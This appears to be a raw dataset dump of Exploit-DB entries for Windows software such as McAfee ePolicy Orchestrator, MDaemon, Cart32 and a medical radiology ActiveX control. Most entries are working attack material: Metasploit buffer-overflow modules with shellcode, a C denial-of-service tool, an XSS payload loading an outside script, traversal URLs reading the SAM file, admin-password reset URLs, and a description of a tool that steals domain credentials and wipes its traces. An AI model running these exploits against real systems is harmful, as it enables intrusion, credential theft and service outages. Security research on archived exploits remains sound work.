deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33071
Description: McAfee ePolicy Orchestrator 4.6.0 < 4.6.5 - 'ePowner' Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2014-04-28
Author: st3n

Exploit:
# Exploit Title: McAfee ePolicy Orchestrator 4.6.0-4.6.5 (ePowner) - Multiple vulnerabilities
# Date: 20 November 2012
# Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
# Vendor Homepage: http://www.mcafee.com/uk/products/epolicy-orchestrator.aspx
# Version: 4.6.0 -> 4.6.5
# Tested on: Windows 2003/2008
# CVE : CVE-2013-0140 , CVE-2013-0141
# More info on: http://funoverip.net/?p=1685 & https://github.com/funoverip/epowner

PoC: 
v0.2.1- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33071-2.tar.gz (epowner-0.2.1.zip)

=====================================================================================================
 INTRODUCTION
=====================================================================================================

- In short, this tool registers a rogue agent on the ePo server and then takes advantage of the 
  following vulnerabilities to perform multiple actions :

	- CVE-2013-0140 : Pre-auth SQL Injection
	- CVE-2013-0141 : Pre-auth Directory Path Traversal

- The tool manages the following actions, called "mode" :

     -r, --register          Register a new agent on the ePo server (it's free)
     --check                 Check the SQL Injection vunerability
     --add-admin             Add a new web admin account into the DB
     --readdb                Retrieve various information from the database
     --get-install-path      Retrieve the installation path of ePo software (needed for other modes)
     --ad-creds              Retrieve and decrypt cached domain credentials from ePo database.
     --wipe                  Wipe our traces from the database and file system
     --srv-exec              Perform remote command execution on the ePo server
     --srv-upload            Upload files on the ePo server
     --cli-deploy            Deploy commands or softwares on clients


- It is strongly advised to read the manual which explains how to use these modes (see below). 
  But basically, your two first actions must be :

	1) Register a rogue agent using '--register'

	2) Setup Remote Code execution using '--srv-exec --wizard'
	   

- Usage examples are provided at the end of this file. It is recommended to read the doc before
  any of usage of them.

- You may find a vulnerable version of the ePo software on my blog. Deploy 2 VMs (eposrv + epocli) and
  test it !

- The tool was developed/tested on Backtrack 5r3, Kali Linux 1.0.6 and Ubuntu 12.04. 
  It won't work under Windows due to linux tools dependencies.
  . ePolicy Orchestrator was running on Win2003 and Win2003 R2
  . The managed station were running on WinXPsp3 and Win7
Exploit-DB #23926
Description: Mcafee FreeScan CoMcFreeScan Browser - Information Disclosure
Type: remote
Platform: windows
Date: 2004-04-07
Author: S G Masood

Exploit:
source: https://www.securityfocus.com/bid/10077/info

Reportedly the Mcafee FreeScan 'McFreeScan.CoMcFreeScan.1' COM object is prone to a remote information disclosure vulnerability. This issue is due to a failure of the object to properly validate information access credentials.

Successful exploitation of this issue may provide an attacker with sensitive system information. The provided system information may be used to carry out further attacks against the affected system.

<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0
CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>

<script language=vbscript>

sPath = MCFS.GetSpecialFolderLocation(&H0000)

'Gets the path for the desktop folder.

document.write(sPath)

'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%

</script>
Exploit-DB #34115
Description: McAfee Unified Threat Management Firewall 4.0.6 - 'page' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2010-06-07
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/40708/info

McAfee Unified Threat Management (UTM) Firewall (formerly SnapGear) is prone to a cross-site scripting vulnerability because the device's web interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

UTM Firewall firmware versions 3.0.0 through 4.0.6 are vulnerable. 

http://example.net/cgi-bin/cgix/help?&page=web_list_block“><script src=“http://example.com/xss.js”></script>
Exploit-DB #16538
Description: McAfee Visual Trace - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: mcafeevisualtrace_tracetarget.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'McAfee Visual Trace ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX
				Control (NeoTraceExplorer.dll 1.0.0.1). By sending a overly long string to the
				"TraceTarget()" method, an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2006-6707'],
					[ 'OSVDB', '32399'],
					[ 'URL', 'http://secunia.com/advisories/23463' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP2 English',  { 'Offset' => 483, 'Ret' => 0x7c941eed } ],
				],
			'DisclosureDate' => 'Jul 7 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded

		# Build out the message
		content = %Q|<html>
			<object classid='clsid:3E1DD897-F300-486C-BEAF[PII_REDACTED]54' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.TraceTarget(#{strname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #28376
Description: McKesson - ActiveX File/Environmental Variable Enumeration
Type: remote
Platform: windows
Date: 2013-09-18
Author: blake

Exploit:
<html>
<!--
McKesson ActiveX File/Environmental Variable Enumeration
Vendor: McKesson
Version: 11.0.10.38
Tested on: Windows XP SP3 / IE
Download: N/A
Author: Blake
Additional Details: This activex control is packaged with the Horizon Rad Station software used by medical facilities to view radiology images.

CLSID: 0EBFF91A-001E-4FF1-ABBB-FF9D0F6E3E3B
Path: C:\Program Files\McKesson\HRS Distributed\McKDXVLauncher.dll
Member Name: OpenTextFile
Member Name: GetEnvironmentVariable
Progid: DXVLauncherLib.McKLauncher
Safe for Scripting: True
Safe for Initialization: True
Kill Bit: False
-->
<object classid='clsid:0EBFF91A-001E-4FF1-ABBB-FF9D0F6E3E3B' id='target' ></object>
<title>McKesson Rad Station ActiveX File/Variable Enumeration</title>
<h1>McKesson Rad Station File Enumeration</h1>
<p>This proof of concept will check if a file exists on the victim's machine or display the contents of an environmental variable. It uses the member OpenTextFile from DXVLauncherLib.McKLauncher and returns an object if the file exists and uses the member GetEnvironmentVariable to display the contents of the environmental variable.
</p>
<form>File to check for: <input type="text" name="filename" value="c:\WINDOWS\win.ini">
<input type=button onclick="checkfile()" value="File Exists?"><br />
Environmental Variable: <input type="text" name="variable" value="username">
<input type=button onclick="getvariablevalue()" value="Get Value">
</form>

<script>
function checkfile()
{
	var file = document.getElementById('filename').value;
	var arg2 = 1;

	try {
		target.OpenTextFile(file,arg2); 
		alert("File " + file + " exists");
	}
	catch (oException) {
		alert("File does not exist or was not found at the location specified")
	}
}

function getvariablevalue()
{
var variablevalue = document.getElementById('variable').value;

result = target.GetEnvironmentVariable(variablevalue); 
alert("Value of " + variablevalue + ": " + result );
}
</script>
Exploit-DB #19881
Description: McMurtrey/Whitaker & Associates Cart32 2.6/3.0 - Remote Administration Password
Type: remote
Platform: windows
Date: 2000-04-27
Author: Cerberus Security Team

Exploit:
source: https://www.securityfocus.com/bid/1153/info


Within cart32.exe, entering any password by way of http://target/scripts/cart32.exe/cart32clientlist, a remote user could obtain vital client information such as username, password, credit card numbers, and other crucial details. Passwords will appear encrypted, however they can be used in conjunction with specific URL requests which can be used to execute arbitrary commands.

In addition, by accessing http://target/scripts/c32web.exe/ChangeAdminPassword, a remote user is able to change the administrative password without prior knowledge of the previous password.

http://target/scripts/cart32.exe/cart32clientlist 
Any password can be used.

http://target/scripts/c32web.exe/ChangeAdminPassword
Exploit-DB #26044
Description: MDaemon 8.0 - Content Filter Directory Traversal
Type: remote
Platform: windows
Date: 2005-07-27
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/14400/info

MDaemon server is prone to a directory traversal vulnerability due to improper sanitization of user input.

Failure to sanitize the filename and path may result in compromise of the file system outside of the application's quarantine directory. 

The following email attachment filename example was provided:

'../../../../../file.exe'
Exploit-DB #1151
Description: MDaemon 8.0.3 - IMAPD CRAM-MD5 Authentication Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2005-08-12
Author: Metasploit

Exploit:
##
# $Id: mdaemon_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the CRAM-MD5
				authentication of the MDaemon IMAP service. This
				vulnerability was discovered by Muts.
			},
			'Author'         => [ 'anonymous' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2004-1520'],
					[ 'OSVDB', '11838'],
					[ 'BID', '11675'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
				],
			'DisclosureDate' => 'Nov 12 2004',
			'DefaultTarget' => 0))
	end

	def exploit
		connect

		print_status("Asking for CRAM-MD5 authentication...")
		sock.put("a001 authenticate cram-md5\r\n")
		res = sock.get_once


		print_status("Received CRAM-MD5 answer: #{res.chomp}")
		# Magic no return-address exploitation ninjaness!
		buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
		req = Rex::Text.encode_base64(buf) + "\r\n"
		sock.put(req)
		res = sock.get_once

		print_status("Received authentication reply: #{res.chomp}")
		print_status("Sending LOGOUT to close the thread and trigger an exception")
		sock.put("a002 LOGOUT\r\n")
		res = sock.get_once

		print_status("Received LOGOUT reply: #{res.chomp}")
		select(nil,nil,nil,1)

		handler
		disconnect
	end

end
Exploit-DB #23002
Description: MDaemon SMTP Server 5.0.5 - Null Password Authentication
Type: remote
Platform: windows
Date: 2003-08-09
Author: Buckaroo Banzai

Exploit:
source: https://www.securityfocus.com/bid/8382/info

A vulnerability has been reported to affect the MDaemon SMTP authentication handler.

It has been reported that any valid username or account can be used in conjunction with a null password, to access the MDaemon SMTP server. This issue may be exaggerated, because a default MDaemon account 'MDaemon' is well known.

220 xxx.com ESMTP MDaemon 5.0.5; Sat, 02 Aug 2003 00:51:06 +0200
EHLO localhost
250-xxx.com Hello localhost, pleased to meet you
250-ETRN
250-AUTH LOGIN CRAM-MD5
250-8BITMIME
250 SIZE 0
AUTH LOGIN
334 VXNlcm5hbWU6 (334 Username:)
TURhZW1vbg== (MDaemon)
334 UGFzc3dvcmQ6 (334 Password:)
(blank password)
235 Authentication successful
Exploit-DB #21439
Description: MDaemon WorldClient 5.0.x - Folder Creation Buffer Overflow
Type: remote
Platform: windows
Date: 2002-05-07
Author: Obscure

Exploit:
source: https://www.securityfocus.com/bid/4689/info

MDaemon is an integrated mail transport agent, webmail, and mail anti-virus package. It is available for Microsoft Windows operating systems.

It may be possible for a remote user to take advantage of a buffer overflow in the MDaemon software package. The WorldClient.cgi program packaged with MDaemon does not properly check bounds on user-supplied data. During the process of creating a folder with a long name, it is possible to exploit a buffer overflow in the CGI that could result in the overwriting of process memory, and execution of attacker-supplied instructions.

POST /WorldClient.cgi?Session=xxxx&View=Options-Folders&Reload=Yes HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3000
Content-Length: 1636
Connection: Keep-Alive
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxxx

OldFolderParent=&OldFolder=&FolderParent=&Folder=&NewFolder=AAAAAAAAAAAA
AAA[BUFFER_HERE_1000+chars]&NewFolderParent=&Create=Create&Folder%3AInbo
x=Inbox&Folder%3ADrafts=Drafts&Folder%3ASent=Sent&Folder%3ATrash=Trash&F
older%3As=s
Exploit-DB #22556
Description: MDG Web Server 4D 3.6 - HTTP Command Buffer Overflow
Type: remote
Platform: windows
Date: 2003-04-29
Author: badpack3t

Exploit:
// source: https://www.securityfocus.com/bid/7479/info

A buffer overflow vulnerability has been reported for MDG Web Server. The vulnerability exists when the web server attempts to process overly long HTTP requests. Specifically, when the web server processes a malformed HTTP request of excessive length, the web server will crash. This will result in a denial of service condition. 

/* Web Server 4D 3.6.0 DoS
*
* Vulnerable systems:
* Web Server 4D 3.6.0 DoS
* Vendor:
* http://www.mdg.com/
*
* Download it here:
* ftp://ftp.mdg.com/demos/WS4D/Win/WS4D_3.6.0_Full.exe
*
* Written and found by badpack3t
* For SP Research Labs
* 04/29/2003
*
* www.security-protocols.com
*
* usage:
* sp-ws4d [targetport] (default is 80)
*
* Greets: c0nnie.
*/

#include
#include

#pragma comment(lib, "ws2_32.lib")

char exploit[] =

"GET /<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
HTTP/1.1 ";


int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target, buffer[30000];
int port,bufsize;
SOCKET mysocket;

if (argc < 2)
{
printf("Web Server 4D 3.6.0 DoS ", argv[0]);
printf("Tool Usage: %s [targetport] (default is 80) ", argv[0]);
printf("www.security-protocols.com ", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];

//for default web attacks
port = 80;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 512;
if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error! ");
exit(1);
}

printf("Resolving Hostnames... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed ", argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("Connecting... ");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host. ");
exit(1);
}

printf("Connected!... ");
printf("Sending Payload... ");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload ");
closesocket(mysocket);
exit(1);
}

printf("Remote Webserver has been DoS'ed ");
closesocket(mysocket);
WSACleanup();
return 0;
}
Exploit-DB #16695
Description: Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the getinfo
				command of Medal Of Honor Allied Assault.
			},
			'Author'         => [ 'Jacopo Cervini' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-0735'],
					[ 'OSVDB', '8061' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/357'],
					[ 'BID', '10743'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
				],
			'DisclosureDate' => 'Jul 17 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(12203)
			], self.class)
	end

	def exploit
		connect_udp

		# We should convert this to metasm - Patrick
		buf = 'B' * target['Rets'][0]
		buf << "\x68\x76\x76\x76\x76"*9   	# PUSH 76767676 x 9
		buf << "\x68\x7f\x7f\x7f\x7f"     	# PUSH 7F7F7F7F
		buf << "\x57"			    	# PUSH EDI
		buf << "\x58"			    	# POP EAX
		buf << "\x32\x64\x24\x24"	    	# XOR AH,BYTE PTR SS:[ESP+24]
		buf << "\x32\x24\x24"		    	# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x48"*150			    	# DEC EAX x 150
		buf << "\x50\x50"			    	# PUSH EAX x 2
		buf << "\x53"				# PUSH EBX
		buf << "\x58"				# POP EAX
		buf << "\x51"				# PUSH ECX
		buf << "\x32\x24\x24"			# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x6a\x7f"				# PUSH 7F
		buf << "\x5e"				# POP ESI
		buf << "\x46"*37				# INC ESI
		buf << "\x56"*10				# PUSH ESI
		buf << "\x32\x44\x24\x24"		# XOR AL,BYTE PTR SS:[ESP+24]
		buf << "\x49\x49"				# DEC ECX
		buf << "\x31\x48\x34"			# XOR DWORD PTR DS:[EAX+34],ECX
		buf << "\x58"*11				# POP EAX
		buf << "\x42"*66
		buf << "\x3c"*4
		buf << "\x42"*48
		buf << [ target['Rets'][1] ].pack('V')

		req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
		req << "\r\n\r\n" + make_nops(32) + payload.encoded

		udp_sock.put(req)

		handler
		disconnect_udp
	end

end
Exploit-DB #22723
Description: MegaBrowser 0.3 - HTTP Directory Traversal
Type: remote
Platform: windows
Date: 2003-06-04
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7802/info

The MegaBrowser HTTP server component is prone to a file disclosure vulnerability. Directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.

http://www.example.com/../../../../../WINNT/repair/sam